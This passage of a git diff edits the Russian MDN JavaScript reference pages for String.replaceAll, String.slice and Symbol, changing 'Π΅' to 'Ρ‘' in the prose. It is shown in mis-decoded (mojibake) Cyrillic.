<dd>ΠŸΠΎΠ΄ΡΡ‚Ρ€ΠΎΠΊΠ°, которая замСнится <code><var>newSubstr</var></code>. ΠžΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ΡΡ ΠΊΠ°ΠΊ буквСнная строка, Π½Π΅ интСрпрСтируСтся ΠΊΠ°ΠΊ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</dd>
<dt><code><var>newSubstr</var></code> (replacement)</dt>
@@ -45,7 +45,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
<h3 id="Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅_строки_Π²_качСствС_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°">Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ строки Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°</h3>
-<p>ЗамСнСнная строка ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹:</p>
+<p>ЗамСнённая строка ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡΡ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹:</p>
<table class="standard-table">
<thead>
@@ -82,7 +82,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ. Π­Ρ‚ΠΎΠΌ случаС, функция вызываСтся послС нахоТдСния совпадСний. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована ΠΊΠ°ΠΊ Π·Π°ΠΌΠ΅Ρ‰Π°ΡŽΡ‰Π°Ρ строка. (<strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> Π’Ρ‹ΡˆΠ΅ упомянутыС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π·Π°ΠΌΠ΅Π½Ρ‹ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС Π½Π΅ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹.)</p>
-<p>Ѐункция ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° многократно для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ совпадСния, Ссли рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌ("g").</p>
+<p>Ѐункция ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Π° многократно для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ совпадСния, Ссли рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌ("g").</p>
<p>Ѐункция ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹:</p>
diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
index 5b6f3895c4..021c1839ae 100644
--- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html
@@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Новая строка, содСрТащая ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ строки.</p>
+<p>Новая строка, содСрТащая ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ строки.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
@@ -75,15 +75,15 @@ str.slice(0, -1); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 'ΠŸΡ€ΠΈΠ±Π»ΠΈΠΆΠ°Π΅Ρ‚ΡΡ ΡƒΡ‚Ρ€ΠΎ'
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΒ ΠΈΠ½Π΄Π΅ΠΊΡΠΎΠΌ считаСтся <code>11</code>-ΠΉ символ с ΠΊΠΎΠ½Ρ†Π° строки, Π° ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ -Β <code>16</code>-ΠΉ с Π½Π°Ρ‡Π°Π»Π°.</p>
-<pre class="brush: js notranslate">str.slice(-11, 16); // Π²Π΅Ρ€Π½Π΅Ρ‚ 'аСтся ΡƒΡ‚Ρ€'</pre>
+<pre class="brush: js notranslate">str.slice(-11, 16); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 'аСтся ΡƒΡ‚Ρ€'</pre>
<p>Π—Π΄Π΅ΡΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌΒ ΠΈΠ½Π΄Π΅ΠΊΡΠΎΠΌ считаСтся <code>6</code>-ΠΉ символ ΠΎΡ‚Β Π½Π°Ρ‡Π°Π»Π° строки, Π° ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-ΠΉ с ΠΊΠΎΠ½Ρ†Π°.</p>
-<pre class="brush: js notranslate">str.slice(6, -7); // Π²Π΅Ρ€Π½Π΅Ρ‚ 'ТаСтс'</pre>
+<pre class="brush: js notranslate">str.slice(6, -7); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 'ТаСтс'</pre>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠ±Π° индСкса ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ с ΠΊΠΎΠ½Ρ†Π° строки:Β <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-ΠΉ для Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ индСкса,Β <code>1</code>-ΠΉ для ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ.</p>
-<pre class="brush: js notranslate">str.slice(-5, -1); // Π²Π΅Ρ€Π½Π΅Ρ‚ 'ΡƒΡ‚Ρ€ΠΎ'</pre>
+<pre class="brush: js notranslate">str.slice(-5, -1); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 'ΡƒΡ‚Ρ€ΠΎ'</pre>
<h2 id="Specifications" name="Specifications">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
index 5b4a6ee85c..87d85f23ce 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
---
<div>{{JSRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Symbol.for(key)</strong></code> ΠΈΡ‰Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ созданный раздСляСмый символ ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ, Ссли ΠΎΠ½ Π½Π°ΠΉΠ΄Π΅Π½. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС создаСтся Π½ΠΎΠ²Ρ‹ΠΉ раздСляСмый символ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π² глобальном рССстрС символов.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code><strong>Symbol.for(key)</strong></code> ΠΈΡ‰Π΅Ρ‚ Ρ€Π°Π½Π΅Π΅ созданный раздСляСмый символ ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ, Ссли ΠΎΠ½ Π½Π°ΠΉΠ΄Π΅Π½. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС создаётся Π½ΠΎΠ²Ρ‹ΠΉ раздСляСмый символ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π² глобальном рССстрС символов.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html
index 739474189c..71361cc695 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html
@@ -35,7 +35,7 @@ var sym2 = Symbol("foo");
var sym3 = Symbol("foo");
</pre>
-<p>Код Π²Ρ‹ΡˆΠ΅ создаСт Ρ‚Ρ€ΠΈ Π½ΠΎΠ²Ρ‹Ρ… символа. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ <code>Symbol("foo")</code>Β Π½Π΅ выполняСт ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ (Π°Π½Π³Π». coercion) строки "foo" ΠΊ символу. Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаСт ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· Π½ΠΎΠ²Ρ‹ΠΉ символ:</p>
+<p>Код Π²Ρ‹ΡˆΠ΅ создаёт Ρ‚Ρ€ΠΈ Π½ΠΎΠ²Ρ‹Ρ… символа. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ <code>Symbol("foo")</code>Β Π½Π΅ выполняСт ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ (Π°Π½Π³Π». coercion) строки "foo" ΠΊ символу. Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаёт ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· Π½ΠΎΠ²Ρ‹ΠΉ символ:</p>
<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
@@ -55,7 +55,7 @@ typeof symObj; // "object"
<h3 id="РаздСляСмыС_символы_Π²_глобальном_символьном_рССстрС">РаздСляСмыС символы Π² глобальном символьном рССстрС</h3>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ синтаксис, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>Symbol(),</code>Β Π½Π΅ создаст Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ символ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π±Ρ‹ доступСн Π² любом мСстС вашСго ΠΊΠΎΠ΄Π°. Для создания символов, доступных Π²ΠΎ всСх Ρ„Π°ΠΉΠ»Π°Ρ… ΠΈ Π² ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ (глобальной области), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref("Symbol.for()")}} ΠΈ {{jsxref("Symbol.keyFor()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ символ ΠΈΠ· глобального символьного рССстра.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ синтаксис, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>Symbol(),</code>Β Π½Π΅ создаст Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ символ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π±Ρ‹ доступСн Π² любом мСстС вашСго ΠΊΠΎΠ΄Π°. Для создания символов, доступных Π²ΠΎ всСх Ρ„Π°ΠΉΠ»Π°Ρ… ΠΈ Π² ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ (глобальной области), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref("Symbol.for()")}} ΠΈ {{jsxref("Symbol.keyFor()")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ символ ΠΈΠ· глобального символьного рССстра.</p>
<h3 id="Поиск_ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Ρ…_свойств_Ρƒ_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">Поиск ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… свойств Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h3>
@@ -97,9 +97,9 @@ typeof symObj; // "object"
<dt>{{jsxref("Symbol.hasInstance")}}</dt>
<dd>ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, распознаСт Π»ΠΈ конструктор Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°ΠΊ свой экзСмпляр. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
<dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
- <dd>Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Ρ‚ΡŒ свСдСн ΠΊ плоскому ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΡŽ (Π°Π½Π³Π». flatten) Π² Π²ΠΈΠ΄Π΅ массива Π΅Π³ΠΎ элСмСнтов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dd>Π‘ΡƒΠ»Π΅Π²ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π±Ρ‹Ρ‚ΡŒ свСдён ΠΊ плоскому ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½ΠΈΡŽ (Π°Π½Π³Π». flatten) Π² Π²ΠΈΠ΄Π΅ массива Π΅Π³ΠΎ элСмСнтов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ {{jsxref("Array.prototype.concat()")}}.</dd>
<dt>{{jsxref("Symbol.unscopables")}}</dt>
- <dd>Массив строковых ΠΈΠΌΠ΅Π½ свойств. ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ свойства ΠΎΡ‚ инструкции with (ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости).</dd>
+ <dd>Массив строковых ΠΈΠΌΡ‘Π½ свойств. ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ свойства ΠΎΡ‚ инструкции with (ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго для ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости).</dd>
<dt>{{jsxref("Symbol.species")}}</dt>
<dd>ΠœΠ΅Ρ‚ΠΎΠ΄, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ конструктор для ΠΏΠΎΡ€ΠΎΠΆΠ΄Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</dd>
<dt>{{jsxref("Symbol.toPrimitive")}}</dt>
@@ -112,7 +112,7 @@ typeof symObj; // "object"
<dl>
<dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
- <dd>Π˜Ρ‰Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ, Ссли ΠΎΠ½ Π½Π°ΠΉΠ΄Π΅Π½. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС создаСтся Π½ΠΎΠ²Ρ‹ΠΉ символ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π² глобальном рССстрС символов.</dd>
+ <dd>Π˜Ρ‰Π΅Ρ‚ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΏΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ, Ссли ΠΎΠ½ Π½Π°ΠΉΠ΄Π΅Π½. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС создаётся Π½ΠΎΠ²Ρ‹ΠΉ символ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π° Π² глобальном рССстрС символов.</dd>
<dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
<dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΏΠΎ раздСляСмому символу Π΅Π³ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΈΠ· глобального рССстра символов.</dd>
</dl>
@@ -153,7 +153,7 @@ typeof Symbol.iterator === 'symbol'
<h3 id="Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹_ΠΈ_конструкция_for...in">Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹ ΠΈ конструкция <code>for...in</code></h3>
-<p>Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ {{jsxref("Statements/for...in","for...in")}}. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ этому, {{jsxref("Object.getOwnPropertyNames()")}} Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Object.getOwnPropertySymbols()")}}.</p>
+<p>Π‘ΠΈΠΌΠ²ΠΎΠ»Ρ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ {{jsxref("Statements/for...in","for...in")}}. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ этому, {{jsxref("Object.getOwnPropertyNames()")}} Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Object.getOwnPropertySymbols()")}}.</p>
<pre class="brush: js">var obj = {};
@@ -175,7 +175,7 @@ for (var i in obj) {
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ см. {{jsxref("JSON.stringify()")}}.</p>
-<h3 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ_для_Symbol_Π²_качСствС_ΠΈΠΌΠ΅Π½_свойств">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ для Symbol Π² качСствС ΠΈΠΌΠ΅Π½ свойств</h3>
+<h3 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ_для_Symbol_Π²_качСствС_ΠΈΠΌΡ‘Π½_свойств">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ для Symbol Π² качСствС ΠΈΠΌΡ‘Π½ свойств</h3>
<p>Когда ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° символа ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΈΠΌΠ΅Π½ΠΈ свойства, этот ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сводится ΠΊ символу, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚:</p>
diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
index ac35c69346..1252063034 100644
--- a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
+++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <strong><code>Symbol.toPrimitive</code></strong><code>Β </code>(ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ описываСтся ΠΊΠ°ΠΊ функция), ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ. Ѐункция вызываСтся со строковым Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌΒ <code><strong>hint</strong></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°Β <code><strong>hint</strong></code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, ΠΈΒ <code>"<em>default</em>"</code>.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <strong><code>Symbol.toPrimitive</code></strong><code>Β </code>(ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ описываСтся ΠΊΠ°ΠΊ функция), ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ. Ѐункция вызываСтся со строковым Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌΒ <code><strong>hint</strong></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°Β <code><strong>hint</strong></code>Β 